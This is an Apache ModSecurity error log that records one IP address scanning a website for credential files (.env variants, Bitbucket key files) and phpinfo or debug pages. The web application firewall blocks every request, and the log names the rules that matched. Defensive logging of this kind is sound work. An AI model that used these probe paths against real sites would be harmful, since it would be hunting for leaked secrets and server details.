[Fri Feb 06 15:31:31.019171 2026] [:error] [pid 3477:tid 3498] [client 3.113.181.128:39372] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aYWY07L0Hdh40C7HYgUKcAAAANM"]
[Fri Feb 06 15:31:31.505409 2026] [:error] [pid 3382:tid 3454] [client 3.113.181.128:39374] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "aYWY08IgU1HR0rhYrE_idQAAAI4"]
[Fri Feb 06 15:31:31.982442 2026] [:error] [pid 3513:tid 3517] [client 3.113.181.128:39384] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "aYWY0zSw3-HAlzpqSxx4bQAAAUI"]
[Fri Feb 06 15:31:32.459291 2026] [:error] [pid 3513:tid 3535] [client 3.113.181.128:51176] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.stage"] [unique_id "aYWY1DSw3-HAlzpqSxx4bwAAAVQ"]
[Fri Feb 06 15:31:32.940666 2026] [:error] [pid 3382:tid 3464] [client 3.113.181.128:51184] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.live"] [unique_id "aYWY1MIgU1HR0rhYrE_idgAAAJg"]
[Fri Feb 06 15:31:33.422035 2026] [:error] [pid 3477:tid 3503] [client 3.113.181.128:51186] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config/bitbucket.json"] [unique_id "aYWY1bL0Hdh40C7HYgUKegAAANg"]
[Fri Feb 06 15:31:33.903338 2026] [:error] [pid 3477:tid 3495] [client 3.113.181.128:51202] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bitbucket_keys.json"] [unique_id "aYWY1bL0Hdh40C7HYgUKfgAAANA"]
[Fri Feb 06 15:31:34.380789 2026] [:error] [pid 3513:tid 3529] [client 3.113.181.128:51208] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.bitbucket_keys"] [unique_id "aYWY1jSw3-HAlzpqSxx4gAAAAU4"]
[Fri Feb 06 15:31:34.860459 2026] [:error] [pid 3380:tid 3405] [client 3.113.181.128:51222] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php"] [unique_id "aYWY1hFAlUvBGSBK2jcESgAAABU"]
[Fri Feb 06 15:31:36.826694 2026] [:error] [pid 3513:tid 3520] [client 3.113.181.128:51260] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php.bak"] [unique_id "aYWY2DSw3-HAlzpqSxx4hAAAAUU"]
[Fri Feb 06 15:31:41.266180 2026] [:error] [pid 3382:tid 3446] [client 3.113.181.128:51320] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/check.php"] [unique_id "aYWY3cIgU1HR0rhYrE_ijwAAAIY"]
[Fri Feb 06 15:31:41.746978 2026] [:error] [pid 3382:tid 3456] [client 3.113.181.128:51336] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api/phpinfo.php"] [unique_id "aYWY3cIgU1HR0rhYrE_ikQAAAJA"]
[Fri Feb 06 15:31:42.223866 2026] [:error] [pid 3381:tid 3435] [client 3.113.181.128:51346] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api/info.php"] [unique_id "aYWY3i81zqRg96ZREggF2gAAAFY"]
[Fri Feb 06 15:31:42.702051 2026] [:error] [pid 3381:tid 3430] [client 3.113.181.128:40152] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo"] [unique_id "aYWY3i81zqRg96ZREggF3QAAAFE"]
[Fri Feb 06 15:31:43.178750 2026] [:error] [pid 3380:tid 3388] [client 3.113.181.128:40166] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info"] [unique_id "aYWY3xFAlUvBGSBK2jcEZwAAAAQ"]
[Fri Feb 06 15:31:43.659458 2026] [:error] [pid 3477:tid 3481] [client 3.113.181.128:40176] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/test"] [unique_id "aYWY37L0Hdh40C7HYgUKpAAAAMI"]
[Fri Feb 06 15:31:44.136753 2026] [:error] [pid 3381:tid 3419] [client 3.113.181.128:40182] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/php"] [unique_id "aYWY4C81zqRg96ZREggF5QAAAEY"]
[Fri Feb 06 15:31:44.615958 2026] [:error] [pid 3513:tid 3525] [client 3.113.181.128:40192] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.bak"] [unique_id "aYWY4DSw3-HAlzpqSxx4kQAAAUo"]
[Fri Feb 06 15:31:45.094507 2026] [:error] [pid 3477:tid 3502] [client 3.113.181.128:40196] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admin/phpinfo"] [unique_id "aYWY4bL0Hdh40C7HYgUKrQAAANc"]
[Fri Feb 06 15:31:45.571063 2026] [:error] [pid 3477:tid 3479] [client 3.113.181.128:40200] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admin/info"] [unique_id "aYWY4bL0Hdh40C7HYgUKsQAAAMA"]
[Fri Feb 06 15:31:46.051293 2026] [:error] [pid 3380:tid 3386] [client 3.113.181.128:40204] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/phpinfo"] [unique_id "aYWY4hFAlUvBGSBK2jcEcAAAAAI"]
[Fri Feb 06 15:31:46.531282 2026] [:error] [pid 3380:tid 3393] [client 3.113.181.128:40210] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/server"] [unique_id "aYWY4hFAlUvBGSBK2jcEdAAAAAk"]
[Fri Feb 06 15:31:47.011811 2026] [:error] [pid 3513:tid 3523] [client 3.113.181.128:40212] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/debug"] [unique_id "aYWY4zSw3-HAlzpqSxx4mgAAAUg"]
[Fri Feb 06 15:31:47.486648 2026] [:error] [pid 3381:tid 3426] [client 3.113.181.128:40228] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/php_info"] [unique_id "aYWY4y81zqRg96ZREggF7gAAAE0"]
[Fri Feb 06 15:31:47.962811 2026] [:error] [pid 3380:tid 3403] [client 3.113.181.128:40234] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/testphp"] [unique_id "aYWY4xFAlUvBGSBK2jcEeQAAABM"]
[Fri Feb 06 15:31:48.443029 2026] [:error] [pid 3380:tid 3397] [client 3.113.181.128:40242] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/probe"] [unique_id "aYWY5BFAlUvBGSBK2jcEfAAAAA0"]
[Fri Feb 06 15:31:48.921108 2026] [:error] [pid 3380:tid 3408] [client 3.113.181.128:40246] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/check"] [unique_id "aYWY5BFAlUvBGSBK2jcEgAAAABg"]
[Fri Feb 06 15:31:49.397993 2026] [:error] [pid 3477:tid 3486] [client 3.113.181.128:40248] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api/phpinfo"] [unique_id "aYWY5bL0Hdh40C7HYgUKugAAAMc"]
[Fri Feb 06 15:31:49.879697 2026] [:error] [pid 3513:tid 3539] [client 3.113.181.128:40256] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api/info"] [unique_id "aYWY5TSw3-HAlzpqSxx4pgAAAVg"]
[Fri Feb 06 15:31:50.360928 2026] [:error] [pid 3382:tid 3450] [client 3.113.181.128:40268] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php.old"] [unique_id "aYWY5sIgU1HR0rhYrE_iowAAAIo"]
[Fri Feb 06 15:31:50.840828 2026] [:error] [pid 3513:tid 3528] [client 3.113.181.128:40272] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/_profiler/phpinfo"] [unique_id "aYWY5jSw3-HAlzpqSxx4qwAAAU0"]
[Fri Feb 06 15:31:51.322563 2026] [:error] [pid 3382:tid 3455] [client 3.113.181.128:40274] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cpanel/phpinfo.php"] [unique_id "aYWY58IgU1HR0rhYrE_ipwAAAI8"]
[Fri Feb 06 15:31:51.800132 2026] [:error] [pid 3382:tid 3451] [client 3.113.181.128:40290] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/www/phpinfo.php"] [unique_id "aYWY58IgU1HR0rhYrE_iqQAAAIs"]
[Fri Feb 06 15:31:52.281105 2026] [:error] [pid 3477:tid 3485] [client 3.113.181.128:40302] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/web/phpinfo.php"] [unique_id "aYWY6LL0Hdh40C7HYgUKwAAAAMY"]
[Fri Feb 06 15:31:52.758444 2026] [:error] [pid 3477:tid 3481] [client 3.113.181.128:37772] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/server/phpinfo.php"] [unique_id "aYWY6LL0Hdh40C7HYgUKwgAAAMI"]
[Fri Feb 06 15:31:53.236929 2026] [:error] [pid 3513:tid 3523] [client 3.113.181.128:37788] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info2.php"] [unique_id "aYWY6TSw3-HAlzpqSxx4tAAAAUg"]
[Fri Feb 06 15:31:53.714733 2026] [:error] [pid 3513:tid 3528] [client 3.113.181.128:37794] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info1.php"] [unique_id "aYWY6TSw3-HAlzpqSxx4tgAAAU0"]
[Fri Feb 06 15:31:54.200096 2026] [:error] [pid 3380:tid 3393] [client 3.113.181.128:37810] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info3.php"] [unique_id "aYWY6hFAlUvBGSBK2jcElgAAAAk"]
[Fri Feb 06 15:31:54.677712 2026] [:error] [pid 3477:tid 3493] [client 3.113.181.128:37814] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/php-info.php"] [unique_id "aYWY6rL0Hdh40C7HYgUKxQAAAM4"]
[Fri Feb 06 15:31:55.154346 2026] [:error] [pid 3381:tid 3413] [client 3.113.181.128:37828] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phptest.php"] [unique_id "aYWY6y81zqRg96ZREggGAQAAAEA"]
[Fri Feb 06 15:31:55.632870 2026] [:error] [pid 3513:tid 3525] [client 3.113.181.128:37830] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "aYWY6zSw3-HAlzpqSxx4uwAAAUo"]
[Fri Feb 06 15:31:56.108471 2026] [:error] [pid 3513:tid 3529] [client 3.113.181.128:37844] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/php_version.php"] [unique_id "aYWY7DSw3-HAlzpqSxx4wgAAAU4"]
[Fri Feb 06 15:31:56.600135 2026] [:error] [pid 3477:tid 3490] [client 3.113.181.128:37852] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/serverinfo.php"] [unique_id "aYWY7LL0Hdh40C7HYgUKzgAAAMs"]
[Fri Feb 06 15:31:57.077665 2026] [:error] [pid 3380:tid 3402] [client 3.113.181.128:37856] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/_debug"] [unique_id "aYWY7RFAlUvBGSBK2jcEmwAAABI"]
[Fri Feb 06 15:31:57.558175 2026] [:error] [pid 3381:tid 3424] [client 3.113.181.128:37872] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pi.php"] [unique_id "aYWY7S81zqRg96ZREggGBwAAAEs"]
[Fri Feb 06 15:31:58.037434 2026] [:error] [pid 3380:tid 3407] [client 3.113.181.128:37886] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/i.php"] [unique_id "aYWY7hFAlUvBGSBK2jcEnAAAABc"]
[Fri Feb 06 15:31:58.517178 2026] [:error] [pid 3477:tid 3491] [client 3.113.181.128:37898] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aYWY7rL0Hdh40C7HYgUK2gAAAMw"]
[Fri Feb 06 15:31:58.996635 2026] [:error] [pid 3380:tid 3391] [client 3.113.181.128:37914] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aYWY7hFAlUvBGSBK2jcEoQAAAAc"]
[Fri Feb 06 15:31:59.477712 2026] [:error] [pid 3382:tid 3457] [client 3.113.181.128:37926] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aYWY78IgU1HR0rhYrE_ixQAAAJE"]
[Fri Feb 06 15:31:59.959662 2026] [:error] [pid 3380:tid 3394] [client 3.113.181.128:37932] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aYWY7xFAlUvBGSBK2jcEogAAAAo"]
[Fri Feb 06 15:32:00.436606 2026] [:error] [pid 3381:tid 3428] [client 3.113.181.128:37948] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aYWY8C81zqRg96ZREggGEwAAAE8"]
[Fri Feb 06 15:32:00.917944 2026] [:error] [pid 3381:tid 3422] [client 3.113.181.128:37958] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/diagnostic.php"] [unique_id "aYWY8C81zqRg96ZREggGFgAAAEk"]
[Fri Feb 06 15:32:01.398612 2026] [:error] [pid 3380:tid 3407] [client 3.113.181.128:37962] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.txt"] [unique_id "aYWY8RFAlUvBGSBK2jcEqwAAABc"]
[Fri Feb 06 15:32:01.876803 2026] [:error] [pid 3477:tid 3488] [client 3.113.181.128:37974] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.txt"] [unique_id "aYWY8bL0Hdh40C7HYgUK5QAAAMk"]
[Fri Feb 06 15:32:02.356401 2026] [:error] [pid 3477:tid 3489] [client 3.113.181.128:49824] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.html"] [unique_id "aYWY8rL0Hdh40C7HYgUK5wAAAMo"]
